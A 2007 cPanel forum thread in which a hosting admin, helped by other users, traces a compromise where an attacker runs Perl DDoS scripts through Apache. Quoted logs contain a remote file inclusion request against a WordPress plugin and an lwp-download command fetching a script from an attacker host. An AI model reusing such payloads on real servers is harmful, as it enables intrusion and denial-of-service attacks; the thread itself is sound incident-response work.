The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

tracking site vulnerability

Discussion in 'General Discussion' started by hicom, May 29, 2007.

  1. hicom

    hicom Well-Known Member

    Joined:
    May 23, 2003
    Messages:
    272
    Likes Received:
    0
    Trophy Points:
    16
    I've been trying to find the source to this problem for few weeks now. Somehow, an attacker is able to execute Perl script on the server through the Apache nobody user.

    I have the latest stable cPanel version with mod_sec enabled and configured with hundreds of rules. However, it doesn't seem able to catch this attack.

    I've renamed wget and curl to make it more difficult for the attacker to retrieve files remotely, but they still managed for a way around it.

    What is annoying me the most is I can't seem to find out which site has the vulnerable script. I've searched /domlogs/ with the script file name, date but to no luck.

    This is what I found in Apache error_log:

    Code:
    [Mon May 28 22:49:38 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/404.shtml
    
    wget: Permission denied
    Can't open perl script ".ddos.pl": No such file or directory
    
    curl: Permission denied
    Can't open perl script ".ddos.pl": No such file or directory
    
    [Mon May 28 22:49:39 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/images_pb/editor/sp
    
    [Mon May 28 22:49:39 2007] [error] [client 24.x.x.x] File does not exist: /home/legitsite/public_html/404.shtml
    
    You'll notice the attacker attempted running wget and curl but failed. Yet, the script was ran afterwards.

    I tried doing grep ddos /usr/local/apache/logs/domlogs but didn't work. The site above has always tons of 404 errors so I don't believe that is the attacker. I still have examined its domlog file and nothing suspecious.

    Doing grep for "curl" and "wget" is also fruitless. So where and how these attackers are able to execute these commands through Apache ?

    The process would show something like:

    57117 nobody 1 20 0 42684K 36752K sbwait 0 0:04 88.20% perl5.8.8

    Tracking it down points to /tmp folder which has the status rw,noexec,nosuid

    Any tips on how to track the vulnerable site being used to inject these scripts ?
     
  2. vanessa

    vanessa Well-Known Member
    PartnerNOC

    Joined:
    Sep 26, 2006
    Messages:
    817
    Likes Received:
    22
    Trophy Points:
    18
    Location:
    Virginia Beach, VA
    cPanel Access Level:
    DataCenter Provider
    The easiest way to find out where the hack process is coming from is to first list all the nobody processes to get the PID:

    ps -ef |grep nobody |more

    It should be fairly obvious which processes are hacks, as they usually have a different parent processes -- or just look different in general. Once you determine the process ID(s), run an lsof to see where it is spawning from:

    lsof -p 33333 |more

    (replace 33333 with the process id) The first couple lines should show you where the process is spawning from. I've been able to track numerous hacks using this method.
     
  3. hicom

    hicom Well-Known Member

    Joined:
    May 23, 2003
    Messages:
    272
    Likes Received:
    0
    Trophy Points:
    16
    Thanks. I've used that method before but unfortunately most these hack scripts run from /tmp . So doing ps will show something like "perl /tmp/.ddostool.pl" . This helps in shutting down the script but I need to track the source of the problem.
     
  4. jugo

    jugo Active Member

    Joined:
    Nov 23, 2005
    Messages:
    44
    Likes Received:
    0
    Trophy Points:
    6
    How about mounting your /tmp with noexec so that nothing can be executed from there. that will prevent most of your basic script kiddie attacks.

    try running
    Code:
    ./scripts/securetmp
    Two great resources for this kind of stuff here:

    http://www.webhostgear.com/34.html
    http://www.eth0.us/tmp
     
    #4 jugo, May 30, 2007
    Last edited: May 30, 2007
  5. hicom

    hicom Well-Known Member

    Joined:
    May 23, 2003
    Messages:
    272
    Likes Received:
    0
    Trophy Points:
    16
    Thanks, already /tmp secured to

    /tmp folder which has the status rw,noexec,nosuid

    However, this will not prevent scripts from executing like PHP , but it will stop somebody from executing C++ file.

    This is why mod_sec is the best way to filter out this junk.
     
  6. dwykofka

    dwykofka Well-Known Member

    Joined:
    Aug 6, 2003
    Messages:
    394
    Likes Received:
    3
    Trophy Points:
    18
  7. jrehmer

    jrehmer Well-Known Member

    Joined:
    Apr 10, 2003
    Messages:
    287
    Likes Received:
    0
    Trophy Points:
    16
    Location:
    Denver, CO
    That's doing a general ps, you need to specifically look at all processes running as nobody. Find the associated httpd process and do an lsof on that process ID.
     
  8. hicom

    hicom Well-Known Member

    Joined:
    May 23, 2003
    Messages:
    272
    Likes Received:
    0
    Trophy Points:
    16
    phpexec would be a solution to prevent this problem, but then breaking all these apps and losing customers because their apps don't work makes it not worth it.

    I understand how to track where the script runs from. Doing lsof -p ID will only tell me the process is running from /tmp/.ddos.pl . This will not help in finding the vulnerable application that the hacker used to exploit.

    I need to find out which application/site the hacker came through.....that is my problem.
     
  9. jrehmer

    jrehmer Well-Known Member

    Joined:
    Apr 10, 2003
    Messages:
    287
    Likes Received:
    0
    Trophy Points:
    16
    Location:
    Denver, CO
    I don't think you quite understand... you need to be looking for the httpd process connected with this activity, we don't care about the perl process that's running we can easily track that down, but you must take the time and effort to find out what Apache (httpd) instance is calling perl.
     
  10. hicom

    hicom Well-Known Member

    Joined:
    May 23, 2003
    Messages:
    272
    Likes Received:
    0
    Trophy Points:
    16
    I see what you mean. However, doing lsof -p ID will list huge amount of files open by Apache. But I never thought of searching for the process ID number from within this list.

    I usually list the first few lines of the process before breaking since I know many of what comes after will be useless to track. like this:

    PHP:
    COMMAND     PID   USER   FD   TYPE     DEVICE  SIZE/OFF   NODE NAME
    perl5.8.8 31208 nobody  cwd   VDIR       0
    ,88       512      2 /
    perl5.8.8 31208 nobody  rtd   VDIR       0,88       512      2 /
    perl5.8.8 31208 nobody  txt   VREG       0,93      9424 259229 /usr/local/bin/perl
    perl5.8.8 31208 nobody  txt   VREG       0
    ,88    158744     15 /libexec/ld-elf.so.1
    perl5.8.8 31208 nobody  txt   VREG       0
    ,93   1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
    perl5.8.8 31208 nobody  txt   VREG       0
    ,88     98120  25740 /lib/libm.so.4
    perl5.8.8 31208 nobody  txt   VREG       0
    ,88     28680  25738 /lib/libcrypt.so.3
    perl5.8.8 31208 nobody  txt   VREG       0
    ,88     43572  25744 /lib/libutil.so.5
    perl5.8.8 31208 nobody  txt   VREG       0
    ,88    922644  25749 /lib/libc.so.6
    perl5.8.8 31208 nobody  txt   VREG       0
    ,93     16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
    perl5.8.8 31208 nobody  txt   VREG       0
    ,93     23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
    perl5.8.8 31208 nobody    0r  VCHR        0
    ,6       0t0      6 /dev/null
    perl5.8.8 31208 nobody    1u  PIPE 0xc921fd78         0        
    ->0xc921fcc0
    perl5.8.8 31208 nobody    2w  VREG       0
    ,93   5025190 359908 /usr/local/apache/logs/error_log
    or like this one showing only the script running from /tmp/B0y:

    Code:
    COMMAND    PID   USER   FD   TYPE     DEVICE  SIZE/OFF   NODE NAME
    perl5.8.8 4336 nobody  cwd   VDIR       0,91       512  70656 /tmp/B0y
    perl5.8.8 4336 nobody  rtd   VDIR       0,88       512      2 /
    perl5.8.8 4336 nobody  txt   VREG       0,93      9424 259229 /usr/local/bin/perl
    perl5.8.8 4336 nobody  txt   VREG       0,88    158744     15 /libexec/ld-elf.so.1
    perl5.8.8 4336 nobody  txt   VREG       0,93   1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
    perl5.8.8 4336 nobody  txt   VREG       0,88     98120  25740 /lib/libm.so.4
    perl5.8.8 4336 nobody  txt   VREG       0,88     28680  25738 /lib/libcrypt.so.3
    perl5.8.8 4336 nobody  txt   VREG       0,88     43572  25744 /lib/libutil.so.5
    perl5.8.8 4336 nobody  txt   VREG       0,88    922644  25749 /lib/libc.so.6
    perl5.8.8 4336 nobody  txt   VREG       0,93     16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
    perl5.8.8 4336 nobody  txt   VREG       0,93     23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
    perl5.8.8 4336 nobody    0r  VCHR        0,6       0t0      6 /dev/null
    perl5.8.8 4336 nobody    1u  PIPE 0xcc240a48         0        ->0xcc240990
    perl5.8.8 4336 nobody    2w  VREG       0,93  15862706 358441 /usr/local/apache/logs/error_log
    
     
    #10 hicom, May 30, 2007
    Last edited: May 30, 2007
  11. hicom

    hicom Well-Known Member

    Joined:
    May 23, 2003
    Messages:
    272
    Likes Received:
    0
    Trophy Points:
    16
    Ok, tracked the son of a #$#$ . After disabling wget, curl and fetch he used lwp-download to grab the script.

    I found the vulnerable script as well:

    Code:
    88.84.133.139 - - [01/Jun/2007:11:04:59 -0400] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://alienr0x.by.ru/.spreag.txt? HTTP/1.1" 200 743 "-" "libwww-perl/5.803"
    
    Code:
    [Fri Jun  1 11:04:59 2007] [error] PHP Fatal error:  Call to undefined function:  get_settings() in /home/username/public_html/wp-content/plugins/wordtube/wordtube-button.php on line 26
    
    Unfortunately, all modsec rules didn't protect against such attack!

    Code:
    
    PID  TT  STAT      TIME COMMAND
    92481  ??  S      0:00.14 /usr/local/bin/perl -w /usr/local/bin/lwp-download http://alienr0x.by.ru/.ddos.pl
    
    ===========
    
    ERROR_LOG:
    
    fetch: Permission denied
    GET: not found
    Can't open perl script ".ddos.pl": No such file or directory
    wget: Permission denied
    Can't open perl script ".ddos.pl": No such file or directory
    curl: Permission denied
    Can't open perl script ".ddos.pl": No such file or directory
    
    fetch: Permission denied
    GET: not found
    Can't open perl script ".ddos.pl": No such file or directory
    

    lsof -p was useless in this case except to tell what port the script was using:

    Code:
    COMMAND     PID   USER   FD   TYPE     DEVICE  SIZE/OFF   NODE NAME
    perl5.8.8 86004 nobody  cwd   VDIR       0,88       512      2 /
    perl5.8.8 86004 nobody  rtd   VDIR       0,88       512      2 /
    perl5.8.8 86004 nobody  txt   VREG       0,93      9424 259229 /usr/local/bin/perl
    perl5.8.8 86004 nobody  txt   VREG       0,88    158744     15 /libexec/ld-elf.so.1
    perl5.8.8 86004 nobody  txt   VREG       0,93   1143203 284212 /usr/local/lib/perl5/5.8.8/mach/CORE/libperl.so
    perl5.8.8 86004 nobody  txt   VREG       0,88     98120  25740 /lib/libm.so.4
    perl5.8.8 86004 nobody  txt   VREG       0,88     28680  25738 /lib/libcrypt.so.3
    perl5.8.8 86004 nobody  txt   VREG       0,88     43572  25744 /lib/libutil.so.5
    perl5.8.8 86004 nobody  txt   VREG       0,88    922644  25749 /lib/libc.so.6
    perl5.8.8 86004 nobody  txt   VREG       0,93     16534 283808 /usr/local/lib/perl5/5.8.8/mach/auto/IO/IO.so
    perl5.8.8 86004 nobody  txt   VREG       0,93     23392 284005 /usr/local/lib/perl5/5.8.8/mach/auto/Socket/Socket.so
    perl5.8.8 86004 nobody    0r  VCHR        0,6       0t0      6 /dev/null
    perl5.8.8 86004 nobody    1u  PIPE 0xc9ddf3e8         0        ->0xc9ddf330
    perl5.8.8 86004 nobody    2w  VREG       0,93  10664180 361284 /usr/local/apache/logs/error_log
    perl5.8.8 86004 nobody    3u  IPv4 0xc8958910       0t0    TCP our.server.name.com:63021->206.81.62-30.spansurf.net:60000
    perl5.8.8 86004 nobody    4u  VREG       0,91         0    119 /tmp (/dev/aacd0s1d)
    perl5.8.8 86004 nobody   15w  VREG       0,93   8482765 361945 /usr/local/apache/logs/audit_log
    perl5.8.8 86004 nobody   16w  VREG       0,93         0 362171 /usr/local/apache/logs/modsec_debug_log
    perl5.8.8 86004 nobody   17w  VREG       0,93   8482765 361945 /usr/local/apache/logs/audit_log
    perl5.8.8 86004 nobody   18w  VREG       0,93  10664180 361284 /usr/local/apache/logs/error_log
    

    Doing ps -waux should

    Code:
    nobody    86004 84.1  0.1  4792  4204  ??  R    10:38AM  22:51.66 /usr/sbin/httpd (perl5.8.8)
    
    Which is defnitely faked
     
Loading...

Share This Page